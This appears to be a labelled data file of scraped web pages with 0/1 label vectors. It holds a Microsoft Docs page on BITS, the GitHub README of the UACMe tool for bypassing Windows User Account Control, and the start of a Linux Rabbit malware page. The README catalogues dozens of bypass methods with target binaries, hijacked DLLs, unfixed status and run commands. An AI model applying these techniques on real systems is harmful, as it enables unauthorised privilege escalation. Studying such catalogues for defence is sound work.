Blog","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Background Intelligent Transfer Service - Windows applications | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Background Intelligent Transfer Service 11/29/2018 2 minutes to read In this article Purpose Background Intelligent Transfer Service (BITS) is used by programmers and system administrators to download files from or upload files to HTTP web servers and SMB file shares. BITS will take the cost of the transfer into consideration, as well as the network usage so that the user's foreground work has as little impact as possible. BITS also handles network interuptions, pausing and automatically resuming transfers, even after a reboot. BITS includes PowerShell cmdlets for creating and managing transfers as well as the BitsAdmin command-line utility. Note BITS can be used by Windows to download updates to your local system. If you are an end-user searching for ways to troubleshoot your BITS installation, see Fix Windows Update Issues. Where applicable Use BITS for applications that need to: Download from or upload files to an HTTP or REST web server or SMB file server. Automatically resume file transfers after network disconnects and computer restarts. Preserve the responsiveness of other network applications. Be mindful of the network cost on e.g. roaming networks Optionally work with BranchCache to optimize wide area network (WAN) traffic Developer audience BITS is a COM interface designed for C and C++ developers that can also be used by .NET developers. UWP developers should use the Windows.Networking.BackgroundTransfer API and not the BITS API. BITS versions For complete version history and information on earlier operating system, see What's New. In this section Topic Description About BITS General information about BITS. Using BITS Procedural guide for developing BITS clients that transfer files between a client and server. BITS Reference Reference information for the BITS programming interfaces. Also contains information about samples, tools, server settings for upload jobs, and the upload protocol. Best Practices Information to consider when designing an application that uses BITS. Additional resources The following are additional resources. .NET Reference DLL For information on using BITS from .NET using reference DLLs, see Calling into BITS from .NET using Reference DLLs .NET Wrapper For other .NET wrappers for BITS, you can search nuget for projects tagged with the BITS tag. Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"GitHub - hfiref0x/UACME: Defeating Windows User Account Control Skip to content Why GitHub? Features \xe2\x86\x92 Code review Project management Integrations Actions Package registry Team management Social coding Documentation Code hosting Customer stories \xe2\x86\x92 Security \xe2\x86\x92 Enterprise Explore Explore GitHub \xe2\x86\x92 Learn & contribute Topics Collections Trending Learning Lab Open source guides Connect with others Events Community forum GitHub Education Marketplace Pricing Plans \xe2\x86\x92 Compare plans Contact Sales Nonprofit \xe2\x86\x92 Education \xe2\x86\x92 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 No suggested jump to results In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 Sign\xc2 in Sign\xc2 up Watch 219 Star 2,145 Fork 651 hfiref0x/UACME Code Issues 0 Pull requests 0 Security Insights Dismiss Join GitHub today GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together. Sign up Defeating Windows User Account Control uac-bypass uac dll-hijack bypass-uac verifier c 203 commits 1 branch 3 releases Fetching contributors BSD-2-Clause C C++ C# C 93.0% C++ 5.5% C# 1.5% Branch: master New pull request Find File Clone or download Clone with HTTPS Use Git or checkout with SVN using the web URL. Download ZIP Downloading... Want to be notified of new releases in hfiref0x/UACME? Sign in Sign up Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching Xcode... If nothing happens, download Xcode and try again. Go back Launching Visual Studio... If nothing happens, download the GitHub extension for Visual Studio and try again. Go back hfiref0x Yuubari update \xe2\x80\xa6 18362, 189xx support Latest commit 6063d86 Sep 12, 2019 Permalink Type Name Latest commit message Commit time Failed to load latest commit information. Bin v 3.1.6 Mar 11, 2019 Source Yuubari update Sep 12, 2019 LICENSE.md v 3.1.3 Jan 25, 2019 README.md Update for method 54 Sep 2, 2019 UACME.sha256 Yuubari update Sep 12, 2019 appveyor.yml Create appveyor.yml Jan 31, 2019 README.md UACMe Defeating Windows User Account Control by abusing built-in Windows AutoElevate backdoor. System Requirements x86-32/x64 Windows 7/8/8.1/10 (client, some methods however works on server version too). Admin account with UAC set on default settings required. Usage Run executable from command line: akagi32 [Key] [Param] or akagi64 [Key] [Param]. See ""Run examples"" below for more info. First param is number of method to use, second is optional command (executable file name including full path) to run. Second param can be empty - in this case program will execute elevated cmd.exe from system32 folder. Keys (watch debug output with dbgview or similar for more info): Author: Leo Davidson Type: Dll Hijack Method: IFileOperation Target(s): \\system32\\sysprep\\sysprep.exe Component(s): cryptbase.dll Implementation: ucmStandardAutoElevation Works from: Windows 7 (7600) Fixed in: Windows 8.1 (9600) How: sysprep.exe hardened LoadFrom manifest elements Author: Leo Davidson derivative Type: Dll Hijack Method: IFileOperation Target(s): \\system32\\sysprep\\sysprep.exe Component(s): ShCore.dll Implementation: ucmStandardAutoElevation Works from: Windows 8.1 (9600) Fixed in: Windows 10 TP (> 9600) How: Side effect of ShCore.dll moving to \\KnownDlls Author: Leo Davidson derivative by WinNT/Pitou Type: Dll Hijack Method: IFileOperation Target(s): \\system32\\oobe\\setupsqm.exe Component(s): WdsCore.dll Implementation: ucmStandardAutoElevation Works from: Windows 7 (7600) Fixed in: Windows 10 TH2 (10558) How: Side effect of OOBE redesign Author: Jon Ericson, WinNT/Gootkit, mzH Type: AppCompat Method: RedirectEXE Shim Target(s): \\system32\\cliconfg.exe Component(s): - Implementation: ucmShimRedirectEXE Works from: Windows 7 (7600) Fixed in: Windows 10 TP (> 9600) How: Sdbinst.exe autoelevation removed, KB3045645/KB3048097 for rest Windows versions Author: WinNT/Simda Type: Elevated COM interface Method: ISecurityEditor Target(s): HKLM registry keys Component(s): - Implementation: ucmSimdaTurnOffUac Works from: Windows 7 (7600) Fixed in: Windows 10 TH1 (10147) How: ISecurityEditor interface method changed Author: Win32/Carberp Type: Dll Hijack Method: WUSA Target(s): \\ehome\\mcx2prov.exe, \\system32\\migwiz\\migwiz.exe Component(s): WdsCore.dll, CryptBase.dll, CryptSP.dll Implementation: ucmWusaMethod Works from: Windows 7 (7600) Fixed in: Windows 10 TH1 (10147) How: WUSA /extract option removed Author: Win32/Carberp derivative Type: Dll Hijack Method: WUSA Target(s): \\system32\\cliconfg.exe Component(s): ntwdblib.dll Implementation: ucmWusaMethod Works from: Windows 7 (7600) Fixed in: Windows 10 TH1 (10147) How: WUSA /extract option removed Author: Leo Davidson derivative by Win32/Tilon Type: Dll Hijack Method: IFileOperation Target(s): \\system32\\sysprep\\sysprep.exe Component(s): Actionqueue.dll Implementation: ucmStandardAutoElevation Works from: Windows 7 (7600) Fixed in: Windows 8.1 (9600) How: sysprep.exe hardened LoadFrom manifest Author: Leo Davidson, WinNT/Simda, Win32/Carberp derivative Type: Dll Hijack Method: IFileOperation, ISecurityEditor, WUSA Target(s): IFEO registry keys, \\system32\\cliconfg.exe Component(s): Attacker defined Application Verifier Dll Implementation: ucmAvrfMethod Works from: Windows 7 (7600) Fixed in: Windows 10 TH1 (10147) How: WUSA /extract option removed, ISecurityEditor interface method changed Author: WinNT/Pitou, Win32/Carberp derivative Type: Dll Hijack Method: IFileOperation, WUSA Target(s): \\system32\\{New}or{Existing}\\{autoelevated}.exe, e.g. winsat.exe Component(s): Attacker defined dll, e.g. PowProf.dll, DevObj.dll Implementation: ucmWinSATMethod Works from: Windows 7 (7600) Fixed in: Windows 10 TH2 (10548) How: AppInfo elevated application path control hardening Author: Jon Ericson, WinNT/Gootkit, mzH Type: AppCompat Method: Shim Memory Patch Target(s): \\system32\\iscsicli.exe Component(s): Attacker prepared shellcode Implementation: ucmShimPatch Works from: Windows 7 (7600) Fixed in: Windows 8.1 (9600) How: Sdbinst.exe autoelevation removed, KB3045645/KB3048097 for rest Windows versions Author: Leo Davidson derivative Type: Dll Hijack Method: IFileOperation Target(s): \\system32\\sysprep\\sysprep.exe Component(s): dbgcore.dll Implementation: ucmStandardAutoElevation Works from: Windows 10 TH1 (10240) Fixed in: Windows 10 TH2 (10565) How: sysprep.exe manifest updated Author: Leo Davidson derivative Type: Dll Hijack Method: IFileOperation Target(s): \\system32\\mmc.exe EventVwr.msc Component(s): elsext.dll Implementation: ucmMMCMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS1 (14316) How: Missing dependency removed Author: Leo Davidson, WinNT/Sirefef derivative Type: Dll Hijack Method: IFileOperation Target(s): \\system\\credwiz.exe, \\system32\\wbem\\oobe.exe Component(s): netutils.dll Implementation: ucmSirefefMethod Works from: Windows 7 (7600) Fixed in: Windows 10 TH2 (10548) How: AppInfo elevated application path control hardening Author: Leo Davidson, Win32/Addrop, Metasploit derivative Type: Dll Hijack Method: IFileOperation Target(s): \\system32\\cliconfg.exe Component(s): ntwdblib.dll Implementation: ucmGenericAutoelevation Works from: Windows 7 (7600) Fixed in: Windows 10 RS1 (14316) How: Cliconfg.exe autoelevation removed Author: Leo Davidson derivative Type: Dll Hijack Method: IFileOperation Target(s): \\system32\\GWX\\GWXUXWorker.exe, \\system32\\inetsrv\\inetmgr.exe Component(s): SLC.dll Implementation: ucmGWX Works from: Windows 7 (7600) Fixed in: Windows 10 RS1 (14316) How: AppInfo elevated application path control and inetmgr executable hardening Author: Leo Davidson derivative Type: Dll Hijack (Import forwarding) Method: IFileOperation Target(s): \\system32\\sysprep\\sysprep.exe Component(s): unbcl.dll Implementation: ucmStandardAutoElevation2 Works from: Windows 8.1 (9600) Fixed in: Windows 10 RS1 (14371) How: sysprep.exe manifest updated Author: Leo Davidson derivative Type: Dll Hijack (Manifest) Method: IFileOperation Target(s): \\system32\\taskhost.exe, \\system32\\tzsync.exe (any ms exe without manifest) Component(s): Attacker defined Implementation: ucmAutoElevateManifest Works from: Windows 7 (7600) Fixed in: Windows 10 RS1 (14371) How: Manifest parsing logic reviewed Author: Leo Davidson derivative Type: Dll Hijack Method: IFileOperation Target(s): \\system32\\inetsrv\\inetmgr.exe Component(s): MsCoree.dll Implementation: ucmInetMgrMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS1 (14376) How: inetmgr.exe executable manifest hardening, MitigationPolicy->ProcessImageLoadPolicy->PreferSystem32Images Author: Leo Davidson derivative Type: Dll Hijack Method: IFileOperation Target(s): \\system32\\mmc.exe, Rsop.msc Component(s): WbemComn.dll Implementation: ucmMMCMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS3 (16232) How: Target requires wbemcomn.dll to be signed by MS Author: Leo Davidson derivative Type: Dll Hijack Method: IFileOperation, SxS DotLocal Target(s): \\system32\\sysprep\\sysprep.exe Component(s): comctl32.dll Implementation: ucmSXSMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS3 (16232) How: MitigationPolicy->ProcessImageLoadPolicy->PreferSystem32Images Author: Leo Davidson derivative Type: Dll Hijack Method: IFileOperation, SxS DotLocal Target(s): \\system32\\consent.exe Component(s): comctl32.dll Implementation: ucmSXSMethod Works from: Windows 7 (7600) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: Leo Davidson derivative Type: Dll Hijack Method: IFileOperation Target(s): \\system32\\pkgmgr.exe Component(s): DismCore.dll Implementation: ucmDismMethod Works from: Windows 7 (7600) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: BreakingMalware Type: Shell API Method: Environment variables expansion Target(s): \\system32\\CompMgmtLauncher.exe Component(s): Attacker defined Implementation: ucmCometMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS2 (15031) How: CompMgmtLauncher.exe autoelevation removed Author: Enigma0x3 Type: Shell API Method: Registry key manipulation Target(s): \\system32\\EventVwr.exe, \\system32\\CompMgmtLauncher.exe Component(s): Attacker defined Implementation: ucmHijackShellCommandMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS2 (15031) How: EventVwr.exe redesigned, CompMgmtLauncher.exe autoelevation removed Author: Enigma0x3 Type: Race Condition Method: File overwrite Target(s): %temp%\\GUID\\dismhost.exe Component(s): LogProvider.dll Implementation: ucmDiskCleanupRaceCondition Works from: Windows 10 TH1 (10240) AlwaysNotify compatible Fixed in: Windows 10 RS2 (15031) How: File security permissions altered Author: ExpLife Type: Elevated COM interface Method: IARPUninstallStringLauncher Target(s): Attacker defined Component(s): Attacker defined Implementation: ucmUninstallLauncherMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS3 (16199) How: UninstallStringLauncher interface removed from COMAutoApprovalList Author: Exploit/Sandworm Type: Whitelisted component Method: InfDefaultInstall Target(s): Attacker defined Component(s): Attacker defined Implementation: ucmSandwormMethod Works from: Windows 7 (7600) Fixed in: Windows 8.1 (9600) How: InfDefaultInstall.exe removed from g_lpAutoApproveEXEList (MS14-060) Author: Enigma0x3 Type: Shell API Method: Registry key manipulation Target(s): \\system32\\sdclt.exe Component(s): Attacker defined Implementation: ucmAppPathMethod Works from: Windows 10 TH1 (10240) Fixed in: Windows 10 RS3 (16215) How: Shell API update Author: Leo Davidson derivative, lhc645 Type: Dll Hijack Method: WOW64 logger Target(s): \\syswow64\\{any elevated exe, e.g wusa.exe} Component(s): wow64log.dll Implementation: ucmWow64LoggerMethod Works from: Windows 7 (7600) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: Enigma0x3 Type: Shell API Method: Registry key manipulation Target(s): \\system32\\sdclt.exe Component(s): Attacker defined Implementation: ucmSdcltIsolatedCommandMethod Works from: Windows 10 TH1 (10240) Fixed in: Windows 10 RS4 (17025) How: Shell API / Windows components update Author: xi-tauw Type: Dll Hijack Method: UIPI bypass with uiAccess application Target(s): \\Program Files\\Windows Media Player\\osk.exe, \\system32\\EventVwr.exe, \\system32\\mmc.exe Component(s): duser.dll, osksupport.dll Implementation: ucmUiAccessMethod Works from: Windows 7 (7600) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: winscripting.blog Type: Shell API Method: Registry key manipulation Target(s): \\system32\\fodhelper.exe, \\system32\\computerdefaults.exe Component(s): Attacker defined Implementation: ucmMsSettingsDelegateExecuteMethod Works from: Windows 10 TH1 (10240) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: James Forshaw Type: Shell API Method: Environment variables expansion Target(s): \\system32\\svchost.exe via \\system32\\schtasks.exe Component(s): Attacker defined Implementation: ucmDiskCleanupEnvironmentVariable Works from: Windows 8.1 (9600) AlwaysNotify compatible Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: CIA & James Forshaw Type: Impersonation Method: Token Manipulations Target(s): Autoelevated applications Component(s): Attacker defined Implementation: ucmTokenModification Works from: Windows 7 (7600) AlwaysNotify compatible, see note Fixed in: Windows 10 RS5 (17686) How: ntoskrnl.exe->SeTokenCanImpersonate additional access token check added Author: Thomas Vanhoutte aka SandboxEscaper Type: Race condition Method: NTFS reparse point & Dll Hijack Target(s): wusa.exe Component(s): dcomcnfg.exe, mmc.exe, ole32.dll, MsCoree.dll Implementation: ucmJunctionMethod Works from: Windows 7 (7600) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: Ernesto Fernandez, Thomas Vanhoutte Type: Dll Hijack Method: SxS DotLocal, NTFS reparse point Target(s): \\system32\\dccw.exe Component(s): GdiPlus.dll Implementation: ucmSXSDccwMethod Works from: Windows 7 (7600) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: Clement Rouault Type: Whitelisted component Method: APPINFO command line spoofing Target(s): \\system32\\mmc.exe Component(s): Attacker defined Implementation: ucmHakrilMethod Works from: Windows 7 (7600) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: Stefan Kanthak Type: Dll Hijack Method: .NET Code Profiler Target(s): \\system32\\mmc.exe Component(s): Attacker defined Implementation: ucmCorProfilerMethod Works from: Windows 7 (7600) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: Ruben Boonen Type: COM Handler Hijack Method: Registry key manipulation Target(s): \\system32\\mmc.exe, \\System32\\recdisc.exe Component(s): Attacker defined Implementation: ucmCOMHandlersMethod Works from: Windows 7 (7600) Fixed in: Windows 10 19H1 (18362) How: Side effect of Windows changes Author: Oddvar Moe Type: Elevated COM interface Method: ICMLuaUtil Target(s): Attacker defined Component(s): Attacker defined Implementation: ucmCMLuaUtilShellExecMethod Works from: Windows 7 (7600) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: BreakingMalware and Enigma0x3 Type: Elevated COM interface Method: IFwCplLua Target(s): Attacker defined Component(s): Attacker defined Implementation: ucmFwCplLuaMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS4 (17134) How: Shell API update Author: Oddvar Moe derivative Type: Elevated COM interface Method: IColorDataProxy, ICMLuaUtil Target(s): Attacker defined Component(s): Attacker defined Implementation: ucmDccwCOMMethod Works from: Windows 7 (7600) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: bytecode77 Type: Shell API Method: Environment variables expansion Target(s): Multiple auto-elevated processes Component(s): Various per target Implementation: ucmVolatileEnvMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS3 (16299) How: Current user system directory variables ignored during process creation Author: bytecode77 Type: Shell API Method: Registry key manipulation Target(s): \\system32\\slui.exe Component(s): Attacker defined Implementation: ucmSluiHijackMethod Works from: Windows 8.1 (9600) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: Anonymous Type: Race Condition Method: Registry key manipulation Target(s): \\system32\\BitlockerWizardElev.exe Component(s): Attacker defined Implementation: ucmBitlockerRCMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS4 (>16299) How: Shell API update Author: clavoillotte & 3gstudent Type: COM Handler Hijack Method: Registry key manipulation Target(s): \\system32\\mmc.exe Component(s): Attacker defined Implementation: ucmCOMHandlersMethod2 Works from: Windows 7 (7600) Fixed in: Windows 10 19H1 (18362) How: Side effect of Windows changes Author: deroko Type: Elevated COM interface Method: ISPPLUAObject Target(s): Attacker defined Component(s): Attacker defined Implementation: ucmSPPLUAObjectMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS5 (17763) How: ISPPLUAObject interface method changed Author: RinN Type: Elevated COM interface Method: ICreateNewLink Target(s): \\system32\\TpmInit.exe Component(s): WbemComn.dll Implementation: ucmCreateNewLinkMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS1 (14393) How: Side effect of consent.exe COMAutoApprovalList introduction Author: Anonymous Type: Elevated COM interface Method: IDateTimeStateWrite, ISPPLUAObject Target(s): w32time service Component(s): w32time.dll Implementation: ucmDateTimeStateWriterMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS5 (17763) How: Side effect of ISPPLUAObject interface change Author: bytecode77 derivative Type: Elevated COM interface Method: IAccessibilityCplAdmin Target(s): \\system32\\rstrui.exe Component(s): Attacker defined Implementation: ucmAcCplAdminMethod Works from: Windows 7 (7600) Fixed in: Windows 10 RS4 (17134) How: Shell API update Author: David Wells Type: Whitelisted component Method: AipNormalizePath parsing abuse Target(s): Attacker defined Component(s): Attacker defined Implementation: ucmDirectoryMockMethod Works from: Windows 7 (7600) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: Emeric Nasi Type: Shell API Method: Registry key manipulation Target(s): \\system32\\sdclt.exe Component(s): Attacker defined Implementation: ucmShellDelegateExecuteCommandMethod Works from: Windows 10 (14393) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: egre55 Type: Dll Hijack Method: Dll path search abuse Target(s): \\syswow64\\SystemPropertiesAdvanced.exe and other SystemProperties*.exe Component(s): \\AppData\\Local\\Microsoft\\WindowsApps\\srrstr.dll Implementation: ucmEgre55Method Works from: Windows 10 (14393) Fixed in: Windows 10 19H1 (18362) How: SysDm.cpl!_CreateSystemRestorePage has been updated for secured load library call Author: James Forshaw Type: GUI Hack Method: UIPI bypass with token modification Target(s): \\system32\\osk.exe, \\system32\\msconfig.exe Component(s): Attacker defined Implementation: ucmTokenModUIAccessMethod Works from: Windows 7 (7600) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: Hashim Jawad Type: Shell API Method: Registry key manipulation Target(s): \\system32\\WSReset.exe Component(s): Attacker defined Implementation: ucmShellDelegateExecuteCommandMethod Works from: Windows 10 (17134) Fixed in: unfixed \xf0\x9f\x99\x88 How: - Author: Leo Davidson derivative by Win32/Gapz Type: Dll Hijack Method: IFileOperation Target(s): \\system32\\sysprep\\sysprep.exe Component(s): unattend.dll Implementation: ucmStandardAutoElevation Works from: Windows 7 (7600) Fixed in: Windows 8.1 (9600) How: sysprep.exe hardened LoadFrom manifest elements Note: Method (6) unavailable in wow64 environment starting from Windows 8; Method (11) (54) implemented only in x86-32 version; Method (13) (19) (30) (38) (50) implemented only in x64 version; Method (14) require process injection, wow64 unsupported, use x64 version of this tool; Method (26) is still working, however it main advantage was UAC bypass on AlwaysNotify level. Since 15031 it is gone; Method (30) require x64 because it abuses WOW64 subsystem feature; Method (35) AlwaysNotify compatible as there always will be running autoelevated apps or user will have to launch them anyway; Method (38) require internet connection as it executes remote script located at github.com/hfiref0x/Beacon/blob/master/uac/exec.html; Method (55) is not really reliable (as any GUI hacks) and included just for fun. Run examples: akagi32.exe 1 akagi64.exe 3 akagi32 1 c:\\windows\\system32\\calc.exe akagi64 3 c:\\windows\\system32\\charmap.exe Warning This tool shows ONLY popular UAC bypass method used by malware, and reimplement some of them in a different way improving original concepts. There are different, not yet known to the general public, methods. Be aware of this; Using (5) method will permanently turn off UAC (after reboot), make sure to do this in test environment or don't forget to re-enable UAC after tool usage; Using (5), (9) methods will permanently compromise security of target keys (UAC Settings key for (5) and IFEO for (9)). If you do tests on your real machine - restore keys security manually after you complete this tool usage; This tool is not intended for AV tests and not tested to work in aggressive AV environment, if you still plan to use it with installed bloatware AV soft - use it at your own risk; Some AV may flag this tool as HackTool, MSE/WinDefender constantly marks it as malware, nope; If you run this program on real computer remember to remove all program leftovers after usage, for more info about files it drops to system folders see source code; Most of methods created for x64, with no x86-32 support in mind. I don't see any sense in supporting 32 bit versions of Windows or wow64, however with small tweaks most of them will run under wow64 as well. If you wondering why this still exists and working - here is the explanation - an official Microsoft WHITEFLAG (including totally incompetent statements as bonus) https://blogs.msdn.microsoft.com/oldnewthing/20160816-00/?p=94105 Windows 10 support and testing policy EOL'ed versions of Windows 10 are not supported and therefore not tested (at moment of writing EOL'ed Windows 10 versions are: TH1 (10240), TH2 (10586)); Insider builds are not supported as methods may be fixed there. Protection Account without administrative privileges. Malware usage It is currently known that UACMe used by Adware/Multiplug (9), by Win32/Dyre (3), by Win32/Empercrypt (10 & 13), by IcedID downloader (35 & 41). We do not take any responsibility for this tool usage in the malicious purposes. It is free, open-source and provided AS-IS for everyone. Other usage Currently used as ""signature"" by ""THOR APT"" scanner (handmade pattern matching fraudware from Germany). We do not take any responsibility for this tool usage in the fraudware; The scamware project called ""uacguard"" has references to UACMe from their platform. We do not take any responsibility for this tool usage in the scamware. The repository https://github.com/hfiref0x/UACME and it contents are the only genuine source for UACMe code. We have nothing to do with external links to this project, mentions anywhere as well as modifications (forks); In July 2016 so-called ""security company"" Cymmetria released report about script-kiddie malware bundle called ""Patchwork"" and false flagged it as APT. They stated it was using ""UACME method"", which in fact is just slightly and unprofessionally modified injector dll from UACMe v1.9 and was using Carberp/Pitou hybrid method in malware self-implemented way. We do not take any responsibility for UACMe usage in the dubious advertising campaigns from third party ""security companies"". Build UACMe comes with full source code, written in C with some parts written in C#; In order to build from source you need Microsoft Visual Studio 2013/2015 U2 and later versions. Instructions Select Platform ToolSet first for project in solution you want to build (Project->Properties->General): v120 for Visual Studio 2013; v140 for Visual Studio 2015; v141 for Visual Studio 2017. For v140 and above set Target Platform Version (Project->Properties->General): If v140 then select 8.1 (Note that Windows 8.1 SDK must be installed); If v141 then select 10.0.17134.0 (Note that Windows 10.0.17134 SDK must be installed). Note that Fujinami module built with .NET Framework 3.0 (this is requirement for it work), so .NET Framework 3.0 must be installed if you want to build this module. Can be built with SDK 8.1/10.17134/10.17763. References Windows 7 UAC whitelist, http://www.pretentiousname.com/misc/win7_uac_whitelist2.html Malicious Application Compatibility Shims, https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf Junfeng Zhang from WinSxS dev team blog, https://blogs.msdn.microsoft.com/junfeng/ Beyond good ol' Run key, series of articles, http://www.hexacorn.com/blog KernelMode.Info UACMe thread, http://www.kernelmode.info/forum/viewtopic.php?f=11&t=3643 Command Injection/Elevation - Environment Variables Revisited, https://breakingmalware.com/vulnerabilities/command-injection-and-elevation-environment-variables-revisited ""Fileless"" UAC Bypass Using eventvwr.exe and Registry Hijacking, https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ Bypassing UAC on Windows 10 using Disk Cleanup, https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/ Using IARPUninstallStringLauncher COM interface to bypass UAC, http://www.freebuf.com/articles/system/116611.html Bypassing UAC using App Paths, https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ ""Fileless"" UAC Bypass using sdclt.exe, https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ UAC Bypass or story about three escalations, https://habrahabr.ru/company/pm/blog/328008/ Exploiting Environment Variables in Scheduled Tasks for UAC Bypass, https://tyranidslair.blogspot.ru/2017/05/exploiting-environment-variables-in.html First entry: Welcome and fileless UAC bypass, https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/ Reading Your Way Around UAC in 3 parts: https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-1.html https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-2.html https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-3.html Research on CMSTP.exe, https://msitpros.com/?p=3960 UAC bypass via elevated .NET applications, https://offsec.provadys.com/UAC-bypass-dotnet.html UAC Bypass by Mocking Trusted Directories, https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e Yet another sdclt UAC bypass, http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass UAC Bypass via SystemPropertiesAdvanced.exe and DLL Hijacking, https://egre55.github.io/system-properties-uac-bypass/ Accessing Access Tokens for UIAccess, https://tyranidslair.blogspot.com/2019/02/accessing-access-tokens-for-uiaccess.html Fileless UAC Bypass in Windows Store Binary, https://www.activecyber.us/1/post/2019/03/windows-uac-bypass.html Authors (c) 2014 - 2019 UACMe Project \xc2\xa9 2019 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub Pricing API Training Blog About You can\xe2\x80\x99t perform that action at this time. You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Linux Rabbit/Rabbot Malware Support Blog Forum EN English Fran\xc3\xa7ais Deutsch \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e Italiano Portugu\xc3\xaas Espa\xc3\xb1ol Threat Platform Community APP Store ISACs Resources Resources Datasheets Partner Datasheets Videos Webinars Whitepapers Blog Featured Topics What is Threat Intelligence Threat Intelligence Sharing Threat Intelligence Platform (TIP) STIX/TAXII MITRE ATT&CK Company Leadership News & Events Awards Partners Careers Contact Us Request Demo Support EN English 